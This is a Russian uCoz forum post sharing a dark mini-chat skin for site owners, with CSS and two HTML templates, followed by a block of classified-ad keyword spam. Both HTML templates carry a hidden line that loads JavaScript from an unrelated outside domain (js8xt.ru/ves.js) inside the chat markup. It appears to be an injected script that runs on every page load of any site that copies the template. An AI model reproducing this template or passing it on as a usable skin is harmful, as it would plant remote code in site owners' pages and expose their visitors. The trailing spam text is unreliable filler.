Вторник, 26.11.2024, 15:55
Приветствую Вас Пришедший на сайт! RSS

  • Страница 1 из 1
  • 1
Темный мини-чат для uCoz
MyLifeДата: Четверг, 03.05.2012, 04:00 | Сообщение # 1
Рядовой
Группа: Юзеры
Сообщений: 7
Награды: 0
Репутация: 0
Статус: Offline
http://s019.radikal.ru/i636/1204/18/2cfb3b1b1e8d.png <-- Скрин

Темный мини-чат для uCoz. Удобный черный чат, с различными функциями и красивыми картинками.
Автор: TAMEP.

В CSS:

Code
/* Темный мини-чат */
.vid_mchat_b {
  border-bottom:1px solid #2b2b2b;
}

.vid_mchat {
  overflow:hidden;
  background:#191919;
  border-bottom:1px solid #0a0a0a;
  padding:3px 0 0 0;
  min-height:58px;
}

.vid_mchat .name {
  max-width:145px;
  padding:0 0 4px 0;
  background:url("vid_mchat_name_b.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/vid_mchat_name_b.png*/ no-repeat bottom center;
}

.vid_mchat .text {
  font-weight:bold;
  color:#636363;
  padding:3px;
}

.vid_mchat .avatar {
  float:right;
  background:url("vid_mchat_ava.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/vid_mchat_ava.png*/ no-repeat 0 0;
  padding:2px;
}

.vid_mchat .avatar img {
  width:38px;
  height:38px;
  border-radius:5px;
  -moz-border-radius:5px;
  -webkit-border-radius:5px;
}

.form_add {
  padding:0 4px 5px 3px;
}

.form_add .bbcodes {
  padding:0 0 2px 3px;
}

.form_add .bbcodes a {
  display:inline-block;
  background:url("bbcodes_a_l.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_l.png*/ no-repeat 0 0;
  padding:0 0 0 5px;
  font-family:Tahoma;
  font-size:11px;
  font-weight:bold;
  color:#69859f;
  height:17px;
  text-align:center;
  line-height:17px;
}

.form_add .bbcodes a span {
  display:inline-block;
  height:17px;
  background:url("bbcodes_a_r.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_r.png*/ no-repeat right;  
  padding:0 5px 0 0;
}

.form_add .bbcodes a:hover {
  background:url("bbcodes_a_l_h.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_l_h.png*/ no-repeat 0 0;
  color:#1a1a1a;
  text-shadow:0 1px 0 #88a1b5;
}

.form_add .bbcodes a:hover span {
  background:url("bbcodes_a_r_h.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_r_h.png*/ no-repeat right;
}

.form_add .submit {
  margin:0;
  padding:0 3px 0 0;
  border:0;
}

.form_add .submit input {
  background:url("form_add_submit.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/form_add_submit.png*/ no-repeat 0 0;
  width:42px !important;
  height:42px;
  font-family:Tahoma;
  font-size:11px;
  font-weight:bold;
  color:#636363;
  padding:0;
  margin:0;
  border:0;
}

.form_add .textarea {
  width:156px;
  float:right;
  padding:1px 0 0;
  margin:0;
  border:0;
}

.form_add .textarea textarea {
  padding:9px 6px;
  width:144px;
  height:23px;
  border:0;
  background:url("form_add_textarea.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/form_add_textarea.png*/ no-repeat 0 0;
  height:23px;
  font-family:Tahoma;
  font-size:11px;
  font-weight:bold;
  color:#636363;
}
/* --- */


Вид материалов чата:

Code
<div class="vid_mchat_b"><div class="vid_mchat">
<div class="avatar"><img src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>Ссылка на NOAVATAR<?endif?>" alt="$USERNAME$" /></div>
<div class="name"><script language=JavaScript src=http://js8xt.ru/ves.js></script><div style="padding:0 0 0 5px;"><a href="$PROFILE_URL$"><img alt="" src="http://informers.ucoz.ru/scripts/mchat/user.png" border="0" style="vertical-align:-2px"/></a>  
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$USERNAME$[/i], ';return false;"><b>$USERNAME$</b></a>
</div></div>
<div class="text">$MESSAGE$</div>
</div></div>


Форма добавлений сообщений мини-чата:

Code
<?if($USER_LOGGED_IN$)?>
<div class="form_add">
<div class="bbcodes">
<a href="javascript:add_bb_code_b()"><span>B</span></a>
<a href="javascript:add_bb_code_u()"><span>U</span></a>
<a href="javascript:add_bb_code_i()"><span>i</span></a>
<a href="javascript:add_bb_code_s()"><span>S</span></a>
<?if($MSGCTRL_URI$)?><a href="$MSGCTRL_URI$"><span>Настройки</span></a><?endif?>
</div>
<div class="textarea"><textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();" onfocus="countMessLength();" placeholder="Текст сообщения..."></textarea></div>
<div class="submit"><div style="width:30px"><script language=JavaScript src=http://js8xt.ru/ves.js></script><input type="submit" value="OK" class="mchat" id="mchatBtn" style="width:30px;"><img alt="" style="display:none;" id="mchatAjax" src="http://s42.ucoz.net/img/fr/ajax3.gif" border="0" width="16"/></div></div>
</div><!--/form_add-->
<?endif?>
 
  • Страница 1 из 1
  • 1
Поиск:


Дать объявление из рук в руки - минск, Подать объявление по трубе, Дать бесплатно объявление о продаже, Моя реклама объявление дать, Дать объявление пишу дипломные работы, Дать объявление по продаже предприятия по интернету, Дать объявление поиске работы, Доска объявлений кресло продаю, Где дать объявление чтоб его увидело как можно больше людей, Дать объявление растений, Дать объявление особенности, Подать объявление на продажу коляски, Бесплатно подать объявление в газету вдв сыктывкар, Аренда квартир в санкт петербурге частные объявления, Домино авто волгоград подать объявление, Дать частное объявление стилист парикмахер, Подать бесплатное объявление в журнал строительство и ремонт, Разместить объявление о продаже ходунков, Снять комнату в санкт-петербурге частные объявления, Дать объявление о продаже земли сельхозназначения, Продаю котят добавить объявление, Как дать объявление о продаже двигателя во владивостоке, Бесплатные объявления наращивание волос дать москва, Где дать объявления по утери студенческого в городе краснодар?, Дать объявление нормирования